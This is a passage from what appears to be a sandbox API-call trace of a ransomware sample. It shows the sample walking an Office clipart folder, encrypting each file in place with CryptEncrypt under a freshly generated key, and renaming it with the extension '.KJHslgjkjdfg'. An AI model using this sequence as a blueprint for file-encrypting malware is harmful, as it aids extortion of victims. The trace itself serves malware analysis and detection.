(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.859] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.859] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.860] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.860] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.860] GetProcessHeap () returned 0x2ef0000 [0218.860] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.860] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.860] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.860] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.863] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.863] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.863] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.864] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.864] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.864] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.864] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.864] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4090, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4090, lpOverlapped=0x0) returned 1 [0218.867] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4090, dwBufLen=0x4090 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4090) returned 1 [0218.867] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.867] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4090, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4090, lpOverlapped=0x0) returned 1 [0218.868] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.868] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.868] SetEndOfFile (hFile=0x130) returned 1 [0218.871] GetProcessHeap () returned 0x2ef0000 [0218.871] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.871] GetProcessHeap () returned 0x2ef0000 [0218.871] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.871] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02285_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02285_.wmf.kjhslgjkjdfg")) returned 1 [0218.873] CloseHandle (hObject=0x130) returned 1 [0218.873] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb6bf9300, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb6bf9300, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x4584, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02287_.WMF", cAlternateFileName="")) returned 1 [0218.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.875] GetProcessHeap () returned 0x2ef0000 [0218.875] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.875] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.875] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.875] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0218.877] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.877] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.877] GetProcessHeap () returned 0x2ef0000 [0218.877] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.877] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.877] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.878] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.878] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.878] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.878] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.878] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.878] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.878] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.878] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.878] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4584, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4584, lpOverlapped=0x0) returned 1 [0218.879] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4590, dwBufLen=0x4590 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4590) returned 1 [0218.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.879] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4590, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4590, lpOverlapped=0x0) returned 1 [0218.880] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.880] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.880] SetEndOfFile (hFile=0x130) returned 1 [0218.882] GetProcessHeap () returned 0x2ef0000 [0218.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.882] GetProcessHeap () returned 0x2ef0000 [0218.882] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.883] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02287_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02287_.wmf.kjhslgjkjdfg")) returned 1 [0218.884] CloseHandle (hObject=0x130) returned 1 [0218.884] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x76e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02288_.WMF", cAlternateFileName="")) returned 1 [0218.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.885] GetProcessHeap () returned 0x2ef0000 [0218.885] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.886] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.886] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.886] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.886] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.886] GetProcessHeap () returned 0x2ef0000 [0218.886] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.886] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.886] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.886] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.889] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.890] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.890] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.890] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.890] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x76e0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x76e0, lpOverlapped=0x0) returned 1 [0218.895] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x76e0, dwBufLen=0x76e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x76e0) returned 1 [0218.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.895] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x76e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x76e0, lpOverlapped=0x0) returned 1 [0218.896] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.896] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x77b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.896] SetEndOfFile (hFile=0x130) returned 1 [0218.899] GetProcessHeap () returned 0x2ef0000 [0218.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.899] GetProcessHeap () returned 0x2ef0000 [0218.899] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.899] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02288_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02288_.wmf.kjhslgjkjdfg")) returned 1 [0218.925] CloseHandle (hObject=0x130) returned 1 [0218.925] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7f0c000, ftCreationTime.dwHighDateTime=0x1bf323f, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb7f0c000, ftLastWriteTime.dwHighDateTime=0x1bf323f, nFileSizeHigh=0x0, nFileSizeLow=0x5850, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02293_.WMF", cAlternateFileName="")) returned 1 [0218.925] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.926] GetProcessHeap () returned 0x2ef0000 [0218.926] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.926] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.926] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.926] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.926] GetProcessHeap () returned 0x2ef0000 [0218.926] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.926] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.926] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.926] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0218.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0218.943] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0218.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0218.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.944] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.944] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.944] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.944] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5850, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5850, lpOverlapped=0x0) returned 1 [0218.946] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5850, dwBufLen=0x5850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5850) returned 1 [0218.946] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.946] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5850, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5850, lpOverlapped=0x0) returned 1 [0218.947] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.947] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.947] SetEndOfFile (hFile=0x130) returned 1 [0218.950] GetProcessHeap () returned 0x2ef0000 [0218.950] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0218.950] GetProcessHeap () returned 0x2ef0000 [0218.950] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0218.950] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.kjhslgjkjdfg")) returned 1 [0218.952] CloseHandle (hObject=0x130) returned 1 [0218.952] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0218.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.954] GetProcessHeap () returned 0x2ef0000 [0218.954] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0218.954] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0218.954] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0218.954] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0218.961] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0218.961] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0218.961] GetProcessHeap () returned 0x2ef0000 [0218.961] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0218.961] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0218.961] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0218.961] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, 